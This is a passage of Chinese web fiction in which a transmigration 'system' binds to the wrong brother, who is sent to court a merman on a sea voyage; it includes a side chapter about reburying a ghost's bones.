安琪也不逗它了,收好光脑有点严肃的开口,“996,如果你再完不成一个任务,那么你可能就要被扔进小世界打工还债了。”她翘着二郎腿晃了几下,“毕竟局里不需要连败的系统。” …… 酒店里全是鬼哭狼嚎的声音,几分钟前谢文涛他哥像是罗刹恶鬼一样从天而降,身上还穿着西服衣冠楚楚一副装逼精英男的扮相,干的却不是斯文人该干的事,进来第一件事就是当心一脚把谢文涛给踹翻,他吓的几乎魂飞魄散,捂着心口一边呻/吟一边满地乱爬躲他哥的脚。 “谢文运你弟弟要死了!”谢文涛连声叫唤试图唤起自己这个哥哥一定点的怜爱之情,但看落在身上的脚更使劲了怕是适得其反,反倒让他哥更窝火了。 守在门口的助理飞快进来把缩在角落惊魂未定的小男生带走再次关上门隔绝了谢文涛求救的视线,他顿时发出一声更绝望的声音。 “我让你搞同性恋!我让你强迫人家小男生!玩两个?你不怕得病!”谢文运踹完不解气想提起谢文涛继续打,手刚摸上就不知道碰到了什么不明液体,顿时起了一身鸡皮疙瘩一脸恶寒,立马松开手甩了甩又踹了一脚,“我现在就清理门户送你下去见爸妈!” 谢文运甩手的动作似乎给了谢文涛什么灵感,虽然他知道怎么干肯定会被自己有洁癖嫌恶心的哥给打个半死,可他不这么看现在就得被打个半死不活。 他立马狗胆包天的从地上拿起来什么扔什么,毛巾,卫生纸,皱巴巴的衣服…… 谢文运正冷笑着,轻轻松松躲过他扔的东西再次大步往前试图再给自己这个倒霉弟弟一脚,一个东西就被扔在了身上,还留下了点什么痕迹。 等他看清到底是什么以后顿时头皮一麻。 天可怜见他谢文运一个冰清玉洁顶顶好顶顶干净的男人被他那个畜生弟弟扔在腿上一个用过的套。 谢文运一口气上不来差点死在那。 谢文涛见终于中了一个立马继续投掷,甚至站起来脱自己身上穿的裤子朝自己亲哥扔了过去,谢文运连退几步脚上又踩到了某个用了一半的瓶子,维持不住身体扑通一声朝后倒了,手下意识托住地面维持自己的身体平衡却又碰到了别的不明液体。 他脸色青的马上就要晕倒了。 谢文涛以一个奇葩的方式战胜了哥,顿时志得意满站起来,但他也只稍微得意了一会儿就赶紧去床上找自己的衣服试图跑路,到门口跟几个堵门的助理求爷爷告奶奶的才跑掉。 姗姗来迟的系统看着一个坐在地上脸色难看的男人,又看了看穿着衣服准备往外走的男人,顿时瞄准了地上的那个目标,然后发出了恶魔低语: 【你想制住这个爹妈生出来的冤家吗?你想树立自己的威严吗?那么就与我绑定吧!】 第74章 番外:尸骨 管理局最近接纳的…… 管理局最近接纳的新人是两个神经病, 至于说为什么是两个,因为那个新人自己带了鬼过来,是他的老婆, 两个人总是很神经的不谋而合。 更准确的来说是三个神经病,另一个神经病是廖寂青,这三个组成了个小队, 滚雪球一样越滚越大,最后连人带鬼一共十四人彻底定员。 有两个很神经的元老带着从某种程度上来说这个小队必然不会走寻常路, 彻底形成了管理局内一道靓丽的风景线。 姚粱恋爱脑发癫,出去看见别的鬼嘴里那口跟他老婆长得一摸一样的锯齿状牙齿都觉得可爱舍不得杀。 廖寂青总是犯贱, 完成任务时时不时发作中二病嚎叫让姚粱表演个炫酷的, 回到局里就满局追着上司找骂。 陈清语非酋附身, 总能在完成简单任务时找点危险出来让大家历练历练, 好几次跟着他的鬼到处乱飞误伤队友。 安成第二大非酋, 开扇门都能捅了恶鬼老窝, 随便说句坏话必定灵验,最后发现是因为他吞噬的鬼倒霉死了。 王梓桉随便捡块石头都有人扑出来送秘籍, 却钟爱研究如何把她朴实无华的能力变得炫酷炸裂闪亮登场。 林林的鬼倒反天罡,主人躲在影子里让鬼天天出来干架, 一人一鬼都很怕鬼,遇到鬼林林就开骂为自己的鬼壮胆。 至于最后一个老头严咋, 他的鬼是个老鬼,非常想像别的鬼年轻一下, 一人一鬼就约定好人年轻一天鬼年轻一天,交换的代价就是鬼年轻的时候要多多的给人打工,不过到底实践没实践姚粱不清楚,刘广白告诉他严咋的鬼年轻那天总出去撩妹。 姚粱:“……” 他跟刘广白已经在局里干了很长时间了, 越待在一起越品出对方的好来,于是更加觉得当时的吞噬是个最正确不过的决定。 毕竟没有人会比他们更加亲密。 但照廖寂青的观点觉得远香近臭,天天待在一起迟早出问题,依据就是他出去做个任务回来上司都对他和颜悦色的,要是多缠几天他一点好脸色都得不到。 过去的事情并不用再向外人表述,越来越开诚布公的聊三观聊未来两人也越来越明白自己那点心理上的问题,眼前的互相缠绕紧密依靠的状态才是两个人最需要的。 …… 小队里面有人脸黑的好处就是考核顺延再顺延,顺便还多出了很多假期,趁着这个时间姚粱打算再回一次刘广白的老家。 他没有提出什么异议,也明白姚粱想干什么。 这次两人没有选择其余交通方式而是选择了自驾,差不多花了一天的时间晚上进了那个小村子。 夜间村落里安静的很,根本没有人知道他们曾经来过。 车被停在空旷处,姚粱拿着箱子和小铁锹还有个刷子蹲在那里依照记忆开始挖,刘广白只是很安静的找了个地方坐下看他。 他很小心的挖,怕把骨头磕碰到,但实际上骨头很硬,并不会断掉,但他还是小心的、尽可能的不在上面留下上面别的痕迹。 挖出一块块就放在一边根据区域摆好,这是个很大的工程,他仔细的数,坐在那里甚至坐到屁股开始痛的刘广白慢吞吞趴在他背上不让他动了。 那张脸埋在肩窝处,很快就有温热的眼泪落在了上面,他很小声的诉说自己当时有多痛,“我当时好痛。” “谁都能上来打我一下。”他很委屈,“那个人以为我的手链是金子要抢,我当时还没死。” “我当时还没死。”他慢慢重复,“他砸我的手腕,砸我的脑袋。” “我本来能活的。” 他有点伤感的说完但又笑了下,“死了也挺好的,就是当时跟那些恶鬼打架的时候也痛,我都被他们撕的不成样子了,这里缺一块那里缺一块。” “我自己待在这里养了好久,幸亏我是鬼,不然我肯定这辈子都走不出这里。”刘广白说,“我出去的时候好虚弱呀,然后我就遇到了‘姚粱’,他特别贪财,我好不容易用钱让他待在我身边,吸着他的气慢慢养身体,然后我就遇到你啦。” 姚粱哑着嗓子嗯了声,就这个姿势摸了摸他的脑袋,“带你回家。” …… 装着尸骨的箱子跨越数百里被带回一直居住的地方,腕骨上面全是裂痕,颅骨也缺了一块,除了这些其余地方几乎都是完好的。 他们买了个带花园的小别墅,里面花开的很好,刘广白喜欢蓝色,种了很多蓝色的花,姚粱就在花丛中挑了个向阳的位置好好的把尸骨埋进去。 死亡并不是结束,有人怕鬼,有人却想见鬼期待着再次重逢。 有人被遗忘,有人被铭记,有人被妥善安置,又有人被弃之如履。 不论如何,总该有人记着他。 【尸骨——完】 第75章 第七十五章 直男 铜盆里盛着干净的清水, 谢文运拿了澡豆不断的搓洗着现在依旧有让他毛骨悚然感觉的手,直到搓的通红试探着闻了闻确定除了香味没有其余味道才罢手。 婢女已经换了好几次水,看大少爷这次终于没露出什么不对的神情这才放下心。 桃夭提着暖锅进来放在小几上, 看了眼坐在那表情略微有些不快的谢文运眼睛转了转,随即向旁边侍候的丫头笑骂,“又怎么惹着大爷了?” 那丫头不知道该说什么, 看着有点呆,不过索性桃夭也不是要她回答, 伸手摸了摸桌上的壶再次询问,“这壶里怎么是冷茶, 屋里人又是怎么办事的?晴儿呢?你也是个没眼力见的, 进来伺候什么都看着点。” “是我要喝冷的, 不关她事, 出去吧。”谢文运坐在桌前, “这天太热, 先取出来晾着,下次就不要用暖锅温着了, 放在着这儿我都嫌热。” 桃夭没多言语,揭开盖子先把乌鸡汤端了出来, “厨房里小火喂了好几个小时,加了百合冬瓜, 滋补又不燥热,正适合这几天吃。” 眼前被摆了一道道精致的菜, 谢文运不怎么说话只是坐在那慢慢吃,很快就有小厮抬着冰鉴进来,除了守在他身边的几个桃夭晴儿之类的大丫头其余人都在外面阴凉处歇息乘凉。 夏天太热,这户人家已经是极富, 家里有冰窖供应乘凉,他房里的冰源源不断,一个屋子加起来能叫得上名字的丫头就有七八个,全围着他一个主子转,但到底怎么也比不上现代吹空调,他一点胃口都没有,但那碗乌鸡汤太香,他还是喝了一碗热出一脑门汗。 吃完桃夭上来伺候他换衣,等人上去把床帐放下来撒上冷水,又放了几个冰盆在帘子附近。 做完这些该出去的人也都出去了,桃夭在外头耳房睡下,大家都安静着,谢文运总算有功夫搭理这个自称996的系统了。 “我不是谢文涛。”谢文运平躺在那里不肯动,饶是这样也不大凉快,“你找错人了。” 饶是当时绑定错过了这么一段时间996也回过味儿来了,按照剧情里说的本来该被绑定的谢文涛在酒店里被自己亲哥几乎打了个半死满地乱爬,996一去也顺理成章的瞄准了在地上的那个,谁能料到是被自己弟弟一个套一个瓶子就击败的罗刹鬼哥哥。 但现在说什么都迟了,996不可能解绑,于是好声好气的劝解,【来都来了,事情已经这样了,将错就错算了,你要是完成任务我也能帮你完成一点心愿啊。】 996特别随机应变,对着谢文涛许诺帮他击败罗刹鬼,对着谢文运那当然要许诺把他弟弟教好。 【你要是完成任务,我就能帮助你把你那个不成器不服管教的弟弟给教明白了,让他学会怎么做人。】 谢文运对于谢文涛也有些头痛,实在不明白小时候明明很听话的弟弟为什么长大又搞同性恋又滥/交,还拿着钱试图把人家干净男孩砸到床上去,说实在的,他总不能打死谢文涛,爹妈死了以后基本上跟所有亲戚都断了联系,他就这么一个亲人,兄弟两个相依为命十几年,可谢文涛也就是知道这个,总觉得谢文运又不能打死他总是在雷区蹦跶。 “什么任务?” 听了这话996就差不多知道稳了,也稍微斟酌了下语句尽量委婉让这个三十出头的老男人好接受一点。 【这个世界就是一个有各种妖兽,精怪之类的世界,但是在这个时期妖怪跟人维持着一个特别微妙的距离,互不打扰,绝大部分人穷极一生都不会见到妖怪,对妖知之甚少。】 【但凡事总有开头的第一遭,你,谢文运,大武最有名的商人家族长子,特别有钱特别牛逼,北王南谢的谢就是说的你们家。】 【谢家之所以如此牛逼有钱,不仅仅是因为经商,更因为家族里面出了好几个大官,目前谢家最大的靠山就是沧州转运使和琼州舟政两位谢大人,一个管地方钱粮兵,一个管海外贸易。】 【谢家人个个有经商天赋,其中天赋最好的当之无愧的就是大少爷,也就是你,谢文运。】 谢文运听这话的语气不太对,不像夸奖反倒像是讽刺,果不其然,下一句话就印证了他的想法。 【在大少爷第一次出海中遇到风浪然后扑通一声就掉进了海里,最后被一只极其美丽,尾巴顺滑在太阳底下散发着五彩斑斓的光的男鲛人给救了。】 【这鲛人不止救了大少爷还把大少爷带回老窝,这大少爷一醒来看见周围看都看不过来的美丽鲛人眼都瞪大了,那么经商天赋如此之牛逼的谢大少爷属于商人的头脑飞快转动,连哄带骗甜言蜜语俘获了救他那只鲛人的芳心。】 【鲛人最后跟他上了岸,又被大少爷带回了自己的后院养着,因为太过美丽时不时就砰砰砰几下爱不释手。】 【然后重点就来了,大少爷哄骗着鲛人跟他回来以后就带人大肆捕捞那个鲛人的七大姑八大姨,因为鲛人美丽又十分罕见,谢大少爷就此开辟了一条售卖鲛人的通天大道赚的盆满钵满,不止如此还给皇帝进贡了几只鲛人。】 【不过最开始的那只鲛人上岸后依旧是鱼尾巴,甚至需要日日泡着海水才能保持湿润不疼痛,这极大的限制了他的行动,因为过于轻信谢大少爷招来了这样的无妄之灾,发现大少爷干的事以后也无力阻止,他的爪子在被发现有反抗的意思后也被拔掉。】 【只不过这位谢少爷并不清楚好好养着尖爪还是能长出来的,最后就是在亲密的时候被一爪掏了心,当然,这个鲛人最后也死了。】 谢文运:“……” 【那么自从谢家开始捕捞鲛人人们也发现了这种妖兽的好处,开始有更多的人投入捕妖队伍,同时也形成了黑市以供售卖,自此妖跟人脆弱的和平局面彻底被打破,在今后数年的演变中发展出了镇妖司等等组织,妖杀人的例子也层出不穷,而人售卖妖更是形成了完整的模式。】 谢文运脸色极差,再次询问确认,“所以你的意思是我要做什么?” 【掉海里,被鲛人救,哄骗他,上下其手,然后砰砰砰,带他上岸,抓他七大姑八大姨,开拓商业新篇章!简单又通俗的说就是海底捞。】 本来就脸色难看的谢文运现在更是铁青着脸,“你让我去搞同性恋?” “我是直男。” 【……】996摸了摸脑袋,【男上加男~左右为男~直男直男,直接爱上男的。】 但谢文运最介怀的地方似乎也不是男的,而是对方是个鲛人。 ……那不就是鱼吗。 他不是阿三,也不想重演修女与鱼的故事。 “好——”他深吸一口气,“退一万步来讲就算对方是男的,这个先不提,那他至少得是个人而不是一条鱼。” 996眨眨眼,立马调出资料给他看,【你看呀,虽然是鱼,但是这脸可比人好看多了,简直都不像真人。】 谢文运受不了,“那你现在去水产箱或者直接去海里捞一条鱼出来开始摸,摸完你自己闻闻你的手什么味再来说话。” 谢文运从来不吃除了鱼虾蟹以外的任何海鲜,就连这几种处理不好他也不吃,他总觉得自己舌头上的味蕾似乎太过敏感,平常人吃不出的腥味他就能,所以绝大部分海鲜他都不能吃。 【呃……可能是有点?但是习惯啊,克服困难。】 “好——这个也不提,我问你鲛人吃的是什么,你别告诉我他们会起火做饭,难道吃的都不是生的吗?” 【嗯……】 996嗯了半天什么都没说出来。 “好——前面这个也不提,就说那个海水,我闻到觉得很腥,你现在让我掉进去,可能还要在里面生活很长时间,你别告诉我他们有厕所,难道不是在海里随地解决,一日三餐和排泄都在海里解决还不洗澡,说不准尾巴上还有粘液,舔一口没准咸到发苦。” 996:【……】 996真没招了,甚至有种现在就递交任务申请结束然后毁灭一切的冲动。 但它没有这种勇气,好死不如赖活着,反正主打就是一个拖,只好跟宿主笑,【天啊!你想想你家里的弟弟啊!你也不想你弟弟这样下去吧!】 谢文运:“……” 谢文运翻了个身脸色依旧铁青,紧紧皱着眉一副想到要下海诸如此类马上就要吐出来的既视感。 996看他这个样子也不敢插话,很安分的在那等他给自己做心理建设。 不知道过了多久,996恍惚间有种腿都蹲麻了的感觉,谢文运才深吸了口气翻过来面对它,“做,什么时候开始。” 【明天下海。】 本来已经维持好脸上表情的人像一个泥塑受到外界破坏缓缓的裂开了,刚才做好的心理建设全被一个明天给尽数摧毁,他又翻了个身用背对着996了。 ……明天? 第76章 第七十六章 下海 谢家的商船早早停在那里, 偌大的船队一艘接着一艘,码头上的劳工这几天加班加点的把货物搬上船,无非就是大武的瓷器、茶叶之类的东西, 其中白瓷彩瓷最受欢迎,但瓷器茶叶之类的并不好保存,在船上难免颠簸受潮。 这次要出海的东家是谢家二老爷谢横白, 还有谢家大房现在的大爷谢文运,其余就是些与谢文运平辈的远房, 还有一众常出海经验丰富的伙计船员。 出海一次短则半年,长则一年两年, 要看在各地停留多久, 具体时间实在是说不准的。 琼州人们很多靠捕鱼而生, 几乎家家户户都有渔船, 像是气派成这样可供出海经商的也就只有谢家, 知道今天商船要出海各个都出来看热闹, 还能在祈福上捞点谢家给的铜板银两,一举两得。 谢文运是第一次出海, 其余人不是,这次主要就是让他看个明白流程, 故而大部分东西也不用他经手,反倒是船上最闲的人, 祈福就耽搁了很长时间,等船走出不久就到了中午该吃饭的时候, 现在船上没什么伺候的人,要是原来的谢文运说不准不适应,但现在这个现代来的魂倒是自在多了。 桌上只有很少的菜蔬,大部分是腌肉, 还有点晒干的菜。 谢横白用干净筷子给谢文运夹了几筷子,提前提点一下自己这个从来没出过海的侄子,“今后大部分时间都要吃腌肉,船上没有那么多补给,水也要省着用点,肯定是不能像家里那样了。” 谢文运淡淡嗯了声没再说别的,剧情里的风浪是出海的第二天傍晚,也就是明天傍晚,他根本不会在船上待多长时间,接下来的事跟他也没什么关系。 随意吃了点一桌子人散开自己干自己的去,谢文运之后要一直跟海打交道,他现在是一眼都不想看,但回自己房的路上还是往外看了眼,水黑则渊,人类的力量对于大海来说还是太过渺小,他只看了眼就发自内心的感到不适。 船上东家反倒是没什么事,谢横白还会到处转转,那几个平辈也去些地方偶尔搭把手,谢文运是彻底不出房门。 晚上躺在床上所有东西都跟着海浪一起晃,周围空气潮湿,鼻子里闻到的海腥味经过这么长时间谢文运几乎要免疫了,但他还是睡不着,晃是一部分,窗户支着海浪拍打的声音直往耳朵里钻。 他不喜欢海,至少不喜欢海里面,大海边边还勉强的接受。 支着的窗户挡住了月亮,光照不进来有些暗,他思考了下要不要起来彻底打开,又怕更重的海味冲着他的床一直往鼻子里钻,他表情一直都是淡淡的,不算板着脸,只是肌肉都很放松不做什么表情,想了下拽起床上新换的被子闻了闻扔在一边,又闻了闻自己身上穿着的里衣脸色又不太好看了。 这股海腥味好像已经把他给泡透了,身上没有一个地方是没有的,但真到了这个地步他又没脾气了,甚至起不来换掉衣服的念头。 没必要,估计带着的衣服上面现在也全是这个味。 本来就暗看不见月亮的窗户好像更暗了点,已经不打算把窗户打开的谢文运叹了口气认命起来打算把窗户支的更开一点,刚穿上鞋走到半路就听见扑通一声。 谢文运登时满脸凝重的站住脚。 耳边海浪声太大,扑通一声结束后就没有其他的声音,甚至有些安静到他以为自己听错了,但他还是很相信自己的耳朵,实在不敢想这艘前不着村后不着店的船上是不是发生了什么命案有人在抛尸。 谢文运很谨慎的从开着的半个窗户那里看了眼,静静观察了十几秒什么都没发现才慢慢打开了门靠近船边。 晚上没有太阳海显得更黑了点,而且也很不好视物,他没抱什么希望能看见什么,有些近视的眼睛只好微微眯着看。 却看见黑色的海面上似乎飘着一团东西? 这东西说是一堆头发也行,说是海草也行,站在那里的谢文运安静的看了会儿,一张湿漉漉的脸就从海里冒了出来。 长头发湿湿的贴在脸上,脑袋的形状特别完美,这么贴着也很好看,跟黑色的海衬着看起来更白,只露出了一双长着纤长睫毛的眼睛,眼珠不是什么寻常的颜色,似乎是蓝色,但又有点偏绿,像是在特制灯光下被衬托的熠熠生辉的珠宝。 “鲛人?”谢文运怀疑道。 这么看看不出男女,那个鲛人也没有再探出一点脑袋的意思,大概看了谢文运十几秒就突然消失在水面。 平白无故被扑通一声吸引出来看了几十秒鲛人的谢文运摸不着头脑的回房插好门闩,重新回到窗户前支自己没管的窗户。 刚才一门心思被外面吸引他全然没注意窗户这里,现在往下一看才看见那里放着一条颜色极其鲜艳的大鱼,旁边还放着个很漂亮的特别大的贝壳。 他认不出这是什么鱼,也不认得这种贝壳,“这么鲜艳是不是有毒?” 【啊……】996迟疑了会儿识别了一下,【没毒,但也不能吃,用来看的。】 听了这话谢文运拿了两层布把鱼捏起来看一看还活不活着,确定还有点气出去把鱼给扔海里了。 那个大贝壳他没扔回去,随便找了个地方放下,这次支好窗户能看见半个天上的月亮才睡。 …… 他不太爱在船上吃饭,更不爱喝水,谢文运觉得自己可能是有点晕船,但不算严重,隐隐约约的在这儿膈应他。 一人一统不太注意别的人都在等今天晚上的海浪,但天看起来很晴,不像是会有风雨的样子,现在没有手机和表全靠996播报时间,他怕晚上进了海里喝一肚子海水把饭给吐出来,晚上干脆没吃饭的等,996也怕他掉不下去,几次催促他往船边站站,确保只要开始晃他第一个下海。 但似乎越想怎么样越没法实现,状况百出996已经习惯了,天都黑下来也没起风996是一脸麻木,【宿主,你要不直接自己跳吧,假装没站稳掉下去也行。】 “你要我死吗?”谢文运皱着眉看他一眼,“这么深的海,我跳下去万一没被救到呢。” 【你放心。】996拍着胸脯跟他打包票,【就算跳下去真的没鲛人救你这不还有我么,这个任务对我也重要啊,我肯定是不能让你出事的,要是没鲛人我救你,宿主你放心跳。】 谢文运想了下似乎也只能这样了,他也不想在这个船上待着,在系统能救的情况跳了搏一搏算了。 “真能救?”谢文运再次确认。 996见他不大信任立马弄出个保护罩从海里捞了条鱼给他展示,信誓旦旦保证,【包的包的,肯定能救。】 …… 一直养在府里的公子哥刚出来就是要磨磨锐气才知道出海不是闹着玩的,但谢横白没想到自己这个侄子刚出来不到两天连饭都不吃了,在船上绕了一圈还是决定去看一看。 到了住的地方他远远就看见个影子,约莫就是自己那个侄子,往常不肯往船边靠的人现在却站在那里看海里面,他正走着,就看那道身影随着船晃了晃,几乎没有任何凝滞的一头栽海里了。 “啊——!!!!” 他大叫一声就往过扑,趴在边上往下一看,翻滚的海面哪还能看见人影。 …… 谢文运跳之前皱着眉捏住了鼻子,海水淹没胸膛的那一瞬间压的他喘不过来气,海水淹没到耳朵的时候只觉得耳鼓膜突突直跳,极其不舒服。 他在水下睁不开眼,稍微捏着鼻子耳朵还好受一点,眼前都是黑暗对于未知更加摸不着底,996一直在旁边各种播报,鼓励他再撑一撑。 他也很想再撑一撑,但不知道是什么滑腻的东西从他身边经过擦过了他的手,这种感觉让他瞬间起了一身鸡皮疙瘩,一个没憋住鼻子里稍微进了点水。 只是他很快明白那个滑腻的东西目标就是他,像是条蛇一样慢慢缠了上来勒紧,一直在说话的996也不吭声了。 没有经过训练的肺活量本来也不高,憋气憋了这么久已经是极限,更别提被这种不知名生物给缠上,身体下意识想从外界汲取呼吸,挣扎的动作更是让他下意识张开嘴,下一秒就呛了水,一串气泡从他的口腔里冒出来,缠着他的东西终于摸上了他的脸。 柔软的东西贴上他的嘴唇,得到救命气体的溺水者立马抱上想要更多,这种时候人根本没法思考,谢文运只知道自己现在需要氧气。 不知道过了多久,因为呛水产生的惊慌情绪终于消退,谢文运这才发觉腿上缠着的东西维持住了他的平衡,对方已经不像最开始那样源源不断的渡气,反倒是用舌头舔了舔他的嘴唇。 舌头细长,如果谢文运没有判断错对方牙齿应该是锯齿状,托在脸侧的手也有尖锐的指甲摩擦,偶尔会刮到他,有些细微的疼痛的感觉。 是鲛人么? 他不通水性,当然再通水性的人也没法在海里没有任何护具的情况下长时间睁眼,他更不行。 但对方显然对他不睁眼有些不满意,也像是丝毫意识不到自己尖锐的指甲的威力一样就这么来扒谢文运脆弱的眼皮。 睁开眼睛固然难受,被不小心把眼睛挖了才是倒霉。 谢文运掰着他的手赶紧睁开了一条缝。 他看不清,四周很黑,眼前的人白的发光,大概过了几秒模糊的视线才恢复正常。 下一秒,他就对上了一双蓝色的、漂亮的眼睛。 第77章 第七十七章 你为什么扔掉我给你的鱼…… 腹部好像有一个火球在烧, 烧的谢文运在昏迷中都难以克制的流露出有点痛苦的神情,最烧的地方是胃,好像被人喂了过量的辣椒精一样都在烧着痛。 他很爱惜自己的身体, 从不愿意过度透支去消耗挥霍,当然也很惜命,有点小毛病也会立马去看, 身体几乎跟铁打的一样,像是现在的遭遇还是开天辟地头一遭。 有着尖锐指甲的手慢慢摸上肚子, 隔着薄薄的衣服和肚皮都能感受到里面灼热的温度,轻轻一划肚子上的衣服就被破开一道口子, 那双冰凉的手真正贴上了腹部。 偶尔被剐蹭一下身体都给出最直接的反应, 肚皮一收一缩微微的颤, 手的主人似乎觉得有意思, 伸出指甲用他认为的很轻的力道去划, 脆弱的肚皮却立马破皮见了血。 那双可以当作武器的手却立马收回, 像是被吓到了瞪圆了眼睛,仔细的看了看这个脆弱的人类, 才趴下用尖尖的舌头舔舔,刚才被划破的地方在这几下居然奇异般的长好, 再不见一点被不小心伤害过的痕迹。 躺着的人白着脸,眼皮底下眼珠转了转, 睫毛又颤了颤,才缓缓睁开了。 谢文运刚一睁开眼就对上了一张凑近的堪称完美的面庞, 身边不止这么一张完美的脸,几乎把他围满了,个个都特别新奇的看他,他还有点懵, 肚子里那股感觉依旧没消失,只是现在化为了更加和风细雨的暖意。 【宿主,就是这个,蓝眼睛这个,鼻尖有个痣这个,别认错了。】 996十分担心宿主认错鲛人,只能说好看的人或者是鲛人某些共性都是互通的,眼前这些大部分都有点亲缘关系,在此基础上当然长得更像了,按照它的数据分析眼前这一群相似度极其高。 听了这话的谢文运低头一看,眼前这一群果然没有腿全是各种五颜六色的尾巴。 很长、特别长,最起码应该是上身的2.5倍左右,要是再长的他光用眼睛也没法丈量,上面看着空空落落的,这些特别长的尾巴却无处安放,只好在这个不算大的空间里到处叠着。 他张了下嘴,眼前就冒出一串的小气泡,谢文运现在才发现自从自己醒来就忽略的事情——他在水里睁眼,在水里呼吸,而且这群鲛人不知道住在哪里,眼前的水看起来并不像刚落水时看见的有很多浮游生物那样,反倒是更像……淡水? 他没来得及对这些鲛人做什么反应,那个蓝眼睛的鲛人就开始赶鲛,用他那条看起来很五彩斑斓的尾巴扫了几下很不客气的把其余鲛人扫出范围,嘴里说着点谢文运听不懂的字眼,还做出了驱赶的动作。 过了好一会儿周围那群看热闹的鲛人才散开,蓝眼睛那只心满意足的凑到谢文运身边,直接伸手从一边捞起一个不知道用什么草编的笼子,里面赫然是那条他在窗户上看到的色彩鲜艳的鱼。 这鲛人咬字有点不清晰,但说话逻辑是对的,“你为什么扔掉我给你的鱼?” “你给我的鱼?”谢文运指了下自己。 “还有贝壳。”鲛人边说边捂住下半张脸,稍微蹲下一点让角度跟那天从船上看差不多,“好看,你不喜欢?” “我不知道谁给的,看它还活着就扔回去了。” 谢文运边跟他说话边观察周围环境,不知道哪来的光源,整个地方亮堂的像是有电灯,同样的,也无法辨认时间,他刚才是个硬床,边边角角看起来很精致,到处都有些很闪的石头,也有不少像是放在笼子里那样的颜色显眼的生物。 “给你。”那鲛人再次把笼子递到谢文运手里。 现在谢文运初来乍到什么都不知道,当然没拒绝就那么拿住了。 这个鲛人经常说短句,谢文运也跟着他说,“我为什么能呼吸。” 鲛人眨了下那双好看的眼睛,再次伸手用指甲抵住了谢文运的小腹,然后慢慢上移,那点热源也跟着他的动作移动,最后到了喉咙里马上就要出来,这鲛人还特别贴心的作势准备替他捏住鼻子,谢文运只是看了几眼那长长的尖尖的指甲就赶紧自己捏上了。 那颗圆圆的、散发着特别润的光泽的珠子很容易就从喉咙里出来,像是有意识一样很亲昵的绕着鲛人的手转悠,他只是拿出来给谢文运展示一下,很快又以同样的方式再次把珠子送进了肚里。 尾巴尖也在两人中间晃来晃去,看起来异常锋利的地方很快软下来,听从主人的指挥在谢文运被隔开一条缝露出肚子的地方来回蹭。 软软的、薄薄的东西贴上来不难受,甚至凉凉的尾巴尖还缓解了肚子里那股过于热的感觉。 谢文运想着剧情没拒绝,在心里问996,“原剧情里这鲛给原主送鱼送贝壳了?” 他倒不是闲着问这个,自然界雄性送东西给自己喜爱的配偶以讨得欢心几乎是种本能的反应,谢文运觉得不能用人的思维来看待这鲛人的行为,用动物来解释反倒比较恰当。 之前数次有缺失剧情996也不敢笃定的跟宿主说没有,只好说原剧情里反正没提。 这话出来谢文运对怎么完成剧情又有了点自己的考量,他又不傻,像是原主一样哄骗着带去岸上到底要花多少时间功夫,他要让这个鲛人自己跟着他走,于是他伸手推了推在自己肚子上蹭来蹭去的尾巴尖拢了拢被割开的衣服,一副进海里受了不小惊吓的模样,“我得回船上,上面全是我的家人。” 鲛人耷拉着脸不说话了。 谢文运再次强调,“我家在岸上,我得回去。” “不行。”鲛人说,“你回不去。”他说着又点了点谢文运的腹部,“这是我的,你回不去。” 他这话意思很明显了,有了这东西谢文运才能在水里呼吸,他不知道路,要是连这个都被取走估计会直接被淹死在这里。 谢文运试探着伸手抓住那只手,再次强调,“我家人都在岸上,我得回去——回家。” 鲛人只是一直摇头,也异常坚定的说不行,“你拿了我的贝壳——我喜欢你。” 谢文运故意做出一脸惊讶的表情,“……什么?” “我送你贝壳,你拿了。” 鲛人已经自顾自下了定义,拽过他的手,“我叫阿满,你叫什么?” 谢文运的最终目的当然不是纠缠着非要回家,而是在阿满心里留下这么一个想回家回岸上的印象方便后面行事,闻言也不再纠缠,“谢文运。” “谢、文、运。”阿满重复一遍,异常笃定的说,“你爹娘想让你读书。” 这名字里或许就是有这样的意思,也包含着一点希望在这方面有所成就的愿景,但不管是这个世界的谢文运还是他自己都无一例外的走上了经商的道路。 阿满献宝一样的把附近放着的各种亮晶晶拿过来给谢文运看,最后还翘起自己的尾巴给他看想让他摸摸。 不是装的,谢文运对这个敬而远之,看起来漂亮是真的,但属于鱼肯定有鱼味也肯定是真的。 阿满却不满谢文运对自己漂亮的尾巴敬而远之,干脆用尾巴再次把他给缠住了,阿满好像对自己的力气没有一点清晰的认知,察觉谢文运被缠的气息不对才稍微放松了点。 谢文运吸了口气视死如归的摸上去,顺便安慰自己反正现在已经在海里泡着了,再不干净能不干净倒哪里去,摸了也不会少一块肉,摸一摸算了。 他已经做好摸一手粘液或者别的的准备,却没想到手下的触感冰凉又坚硬,一块块看起来流光溢彩的鳞片特别整齐的分布,形成了一道屏障来保护鱼尾,像是泡在水里的铁制物品,居然没有什么奇怪的触感。 心满意足的鲛人好像完全没有看到谢文运的犹豫,也对他的情绪感知不太敏感一样,在谢文运看来更像是理解不了人类的脑子所以去用自己的、属于鲛人的思维去理解,去解决事情。 阿满虽然上半身的骨架和体型跟他相比来说有些欠缺,但毕竟是鲛人尾巴也要算上,加上那条特别长有有力的尾巴可以随随便便的圈住他,虽然说穿来的是不到二十不假,但谢文运身为一个男性,直男,三十多岁事业有成的男性被用这种姿势禁锢着浑身都在诉说着不得劲和别扭。 在他从前对自己后续婚姻的想象种应该是自己抱着小鸟依人的对方,担当一个保护的作用而不是现在这样。 “……你先放开我。” 谢文运本来以为以阿满初见端倪的固执应该不愿意听话松开,这么被轻易放开他甚至都有点懵。 那个尾巴尖又翘在两个人中间不停的晃,晃的飞快在水里搅起一圈气泡,越晃动作幅度越大,甚至带着尾巴下半部分都在一起摇,薄薄的地方被光照着甚至都在闪着光。 ……有点像海里的小狗。 第78章 第七十八章 深海小狗 谢文运在这里待着依旧很不舒服, 能呼吸能睁眼是一回事,但仍旧能感觉到自己一直泡在水里,身上的衣服也是湿的贴在身上, 鞋子袜子也是。 他坐在那呆了几秒,实在没法想象自己就一直穿着湿衣服,但也没解决办法, 他总不能跟一直光着上半身的鲛人要衣服吧? 阿满显然也没办法理解他的想法,兀自像缺了几根筋一样自己快乐自己的, 谢文运看了他一眼没忍住叹了口气,又想起自己家里养的那只狗也是每天自己快乐自己的, 整天没心没肺的, 人上了岁数连脾气都懒得发, 当然对他弟弟除外, 在其余时候谢文运已经学会了既来之则安之, 死不了那再来一些也没有关系。 他看了一圈地面, 发现似乎没有什么碎渣干脆把湿哒哒的鞋和袜子全脱掉,古代的布鞋布袜里面全是水, 刚刚把自己的东西摆在角落里就听见外面又叽叽喳喳的吵了起来。 应该说的还是鲛人话,谢文运去过不少国家, 